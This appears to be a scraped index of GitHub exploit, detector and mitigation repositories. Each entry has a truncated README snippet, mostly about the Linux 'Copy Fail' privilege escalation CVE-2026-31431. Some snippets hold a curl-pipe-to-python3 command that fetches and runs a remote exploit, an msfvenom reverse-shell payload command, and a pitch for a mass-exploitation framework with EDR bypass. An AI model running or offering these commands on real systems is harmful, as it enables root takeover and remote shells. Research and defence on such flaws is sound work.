CVE-2026-43499-poc

CVE-2026-43499 （ghostlock）的武器化研究。 这是 rtmutex removewater 代理路径中的一个 bug，它会导致任务的 piblockedon 悬空并指向其自身已弹出的内核栈帧。 该 bug 类别和原始利用策略归功于 nebusec （他们的文章在此） 本仓库中的所有内容都是我针对各发行版自行完成的工作： 每个内核家族都需要截然不同的原语，这正是其有趣之处。 Ghostlock 的触发完全无需特权（三个 futex、两个线程，且无需命名空间）。 将悬空指针转化为 root...

CVE-2015-5287

CVE-2015-5287 RHEL 7.0/7.1 - 'abrt/sosreport' 本地权限提升 捐赠 帮助维护此项目 如果您觉得此项目有用，请考虑通过 PayPal 或 ABA Mobile 支持其持续维护。 ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 您每笔捐赠的百分之十将捐献给甘塔博帕儿童医院。 | 选择支付方式 使用 ABA Mobile 扫描 · 点击放大 ---|--- ⚡ 简单用法 直接从 GitHub 运行最新版本的外部下载脚本： bash 此命令需要...

local-log4j-vuln-scanner

简单的本地 log4j 漏洞扫描器 （使用 Go 编写，因为，你知道的，“一次编写，到处运行”。） 这是一个简单的工具，可用于在 Java 软件（如 Web 应用程序）的安装中查找存在漏洞的 log4j 1.x 和 2.x 实例。它会检查 JAR 和 WAR 归档文件，并标记已知存在漏洞的类文件。扫描以递归方式进行：包含 WAR 文件的 WAR 文件，其中再包含 JAR 文件，而 JAR 文件中又包含存在漏洞的类文件——这些都应该能被正确标记。 目前可识别的漏洞包括： CVE-2019-17571 1.x CVE-2021-44228 CVE-2021-45105...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables これは（現時点では非常に粗い）CVE-2023-4911 の概念実証です。今のところ、Ubuntu 22.10 kinetic でのみ動作確認しています。現在のエクスプロイトのバージョンには、かなりの量の「マジック」オフセットが含まれています。ヒープシェイピングを改善する方法について提案があれば、遠慮なく PR を送ってください : このエクスプロイトは基本的に Qualys の優れた記事 の実装です。一部の箇所で逸脱しています。それは私がもっと知っていると思っているからではなく、単に私の VM...

CVE-2022-21882

CVE-2022-21882 win32k LPE 绕过 CVE-2021-1732 仅在 windows 20h2 19042.1415 上测试 https://twitter.com/kalendsi/status/1483770845138804738...

CVE-2026-3888

CVE-2026-3888 - snap-confine + systemd-tmpfiles 本地权限提升 免责声明： 本仓库仅用于教育目的 。所有内容均基于 Qualys 于 2026 年 3 月 17 日发布的原始安全公告。该漏洞已被修复——请始终确保您的系统保持最新状态。请勿将本材料用于您不拥有或未经明确书面许可测试的系统。 概述 CVE-2026-3888 是一个影响 Ubuntu Desktop = 24.04 默认安装的本地权限提升（LPE）漏洞。该漏洞由 Qualys 于 2026 年 3 月发现并公开披露。 正如 Qualys...

cve-2026-31431

Kit de herramientas CVE-2026-31431 Copy Fail Este repositorio contiene el detector y el PoC para la vulnerabilidad de scratch-write en la caché de páginas de algifaead / authencesn de Linux, CVE-2026-31431. Artículo de divulgación: https://xint.io/blog/copy-fail-linux-distributions Nota de...

cve-2026-31431

CVE-2026-31431 — “Copy Fail”：Linux 内核 algifaead 本地权限提升 CISA KEV | CVSS 7.8 高危 | 影响 Linux 内核 4.14 – 2026 年初（约 9 年） 目录 1. 执行摘要 2. 风险评估 3. 技术深度剖析 4. 攻击方法 — 红队 5. 检测与应急响应 — 蓝队 6. 补丁与修复 7. 实验环境 8. 参考资料 1. 执行摘要 CVE-2026-31431 ，绰号 “Copy Fail” ，是 Linux 内核加密子系统中的一个高危本地权限提升（LPE）漏洞。低权限本地用户可在任何未打补丁的系统上数秒内提升至...

CVE-2026-31431_CopyFail_LinuxKernel_LPE

CVE-2026-31431 — Copy Fail（Linux 内核本地提权） 对 Theori/Xint 针对 CVE-2026-31431 的概念验证代码进行教育性重写。该漏洞是 Linux 内核 algifaead 加密套接字接口中的一个本地权限提升漏洞。影响从 4.14（2017 年 7 月）到 6.18.21 的所有主线内核，以及 6.19 稳定分支至 6.19.11。 免责声明 仅用于教育和授权的安全研究。 请勿在非您所有或未经明确书面许可的系统上运行。在易受攻击的主机上运行此程序将使任何非特权本地用户立即获得 root 访问权限。作者对滥用行为不承担任何责任。 漏洞概述...

copyfail-exploit

Copy Fail · CVE-2026-31431 影响 Linux 内核 4.11 至（不含）已修复的 6.18 版本的本地权限提升漏洞。 该漏洞位于内核的 AFALG 套接字接口中——具体是 authencesn 在就地 AEAD 解密期间处理分散/聚集列表的方式。结果是：非特权用户可以在任何可读文件的页缓存中每次覆盖 4 字节。 用 shellcode 覆盖一个 setuid 二进制文件（如 /usr/bin/su），运行它，你就获得了 root 权限。无需竞争条件、无需内核符号、无需重新编译。相同的 172 字节 AArch64 载荷（x86-64 为 160 字节，i386 ...

CVE-2026-31431

CVE-2026-31431 — Copy Fail 本地权限提升 存在于 Linux 内核的 authencesn 加密模板中，通过 AFALG + splice 触发。 由 Theori（Xint Code）于 2026 年 4 月 29 日披露。 概述 字段| 详情 ---|--- CVE| CVE-2026-31431 别名| Copy Fail CVSS| 7.8 高危 类型| 本地权限提升（LPE） 引入版本| Linux 内核 4.14（2017 年，提交 72548b093ee3） 修复版本| 主线提交 a664bf3d603d 前提条件| 本地非特权 shell 访问权...

CVE-2026-31431

Copy Fail - CVE-2026-31431 本仓库包含针对 CVE-2026-31431（又称 "Copy Fail"）的一个小型 Linux 本地权限提升 PoC。 该漏洞利用针对 Linux 内核 AFALG 用户态加密 API 中的 algifaead 路径。它使用 AFALG 加 splice 强制内核以 4 字节块的形式写入 /usr/bin/su 的页缓存，然后在页缓存被修改后执行 su。 源代码概览 copyfailexp.py 中的 PoC 做了四件事： 1. 打开一个 AFALG 套接字，用于 aead，变换为...

copy-fail

CopyFail CVE-2026-31431 缓解指南 - 多发行版指南 本仓库包含用于缓解 CopyFail CVE-2026-31431 漏洞的详细教程和脚本。该漏洞影响 Linux 内核的加密子系统 AFALG，允许普通用户将本地权限提升 LPE 至 root。 📁 仓库结构 本仓库按发行版组织，便于在特定基础设施环境中应用： /Ubuntu: 适用于 Ubuntu 20.04、22.04 和 24.04 的指南。 /RockyLinux: 适用于 Rocky Linux 8 和 9（RHEL 标准）的指南。 /Debian: 适用于 Debian 12 和 13 Trixie...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 — “Copy Fail”：Linux 内核 algifaead 本地权限提升 CISA KEV | CVSS 7.8 高危 | 影响 Linux 内核 4.14 – 2026 年初（约 9 年） 目录 1. 执行摘要 2. 风险评估 3. 技术深度剖析 4. 攻击方法 — 红队 5. 检测与应急响应 — 蓝队 6. 补丁与修复 7. 实验环境 8. 参考资料 1. 执行摘要 CVE-2026-31431 ，绰号 “Copy Fail” ，是 Linux 内核加密子系统中的一个高危本地权限提升（LPE）漏洞。低权限本地用户可在任何未打补丁的系统上数秒内提升至...

cve-2026-31431-checker

CVE-2026-31431（Copy Fail）检测工具 一个针对 Linux 内核中 CVE-2026-31431“Copy Fail”漏洞的全面检测与分析工具。 ⚠️ 重要免责声明 本工具仅用于检测。它不会利用漏洞或修改任何系统文件。 仅读取系统信息和配置文件 不会写入 /etc/passwd、/usr/bin/su 或任何系统二进制文件 不会执行实际的漏洞利用尝试 仅可在您拥有并有权测试的系统上使用 本工具可能产生误报或漏报。 请始终使用官方检测器进行最终确认。 关于 CVE-2026-31431 CVE-2026-31431“Copy Fail”是一个严重的 Linux...

alg_check

⚠️ 重要免责声明：结构性加固风险 本工具通过结构性阻断 来缓解 CVE-2026-31431 ，具体方式为物理重命名内核模块并将其从内存中清除。使用前，请了解以下架构性风险： 内核更新易变性 ：加固效果是临时的 。内核更新会在新的 /lib/modules/ 目录下部署全新的、存在漏洞的模块，使之前的阻断措施失效。 功能性副作用 ：禁用 AFALG（内核加密 API）可能会破坏依赖内核级硬件加速的特定应用程序或服务（例如专用 VPN、磁盘加密工具或自定义安全工具）。cite: 3 缓解 vs. 修补 ：这是一种临时解决方案 ，而非永久补丁。其目的是在发行版提供修补后的内核之前填补这一空白...

CVE-2026-68820_Mass_Exploit

CVE-2026-68820 — 大规模漏洞利用框架版。 用于通过 AFD.sys 驱动程序（辅助功能驱动程序）中的释放后使用（use-after-free）漏洞，自动进行大规模本地权限提升（LPE）至 NT AUTHORITY\SYSTEM 的自动化模块。 该漏洞利用专为企业环境设计： 支持 Windows 10/11（所有 2025–2026 版本） 绕过 PPL 保护 即使在完全修补的系统上也能稳定运行 内置 EDR/AV 绕过，通过可信进程注入 和签名随机化实现 非常适合后渗透场景（Web Shell、钓鱼攻击），用于实现持久化和横向移动。 无需重启，执行时间不到 1 秒。...

copyfail-mitigation

CVE-2026-31431 — Copy Fail Linux 内核algifaead 权限提升 / 内存破坏 基于 Ansible 的审计与缓解 playbook — 可直接在生产环境运行 概述 Copy Fail （CVE-2026-31431）是 Linux 内核 algifaead 模块中的一个漏洞——该模块是 AFALG 加密套接字家族面向用户空间的 AEAD 接口。 内核在 AEAD 请求处理器内部的 copyuser 路径中存在缺陷，允许本地非特权用户通过构造恶意套接字请求来破坏内核内存或提升权限。 字段| 详情 ---|--- CVE ID| CVE-2026-3143...

CVE-2026-31431-copy-fail

Copy Fail 大多数 Linux LPE 需要竞态窗口或内核特定偏移。 Copy Fail 是一个直线逻辑缺陷——两者都不需要。 同一个 732 字节的 Python 脚本即可让自 2017 年以来发布的每个 Linux 发行版获得 root 权限。 快速运行： curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user groups=1002user...

CVE-2026-31431

CVE-2026-31431（Copy Fail）— C PoC 通过 AFALG 中的逻辑漏洞（内核 4.14 → 2026 年初），向任意可读文件的页缓存写入 4 个受控字节，实现无需特权的本地权限提升（LPE）。 破坏内存中的 /usr/bin/su，然后运行它 → 获得 root 权限。 构建与运行 1. 生成 ELF payload（反向 shell 示例） msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true \ PrependSetgid=true -f elf -a x86...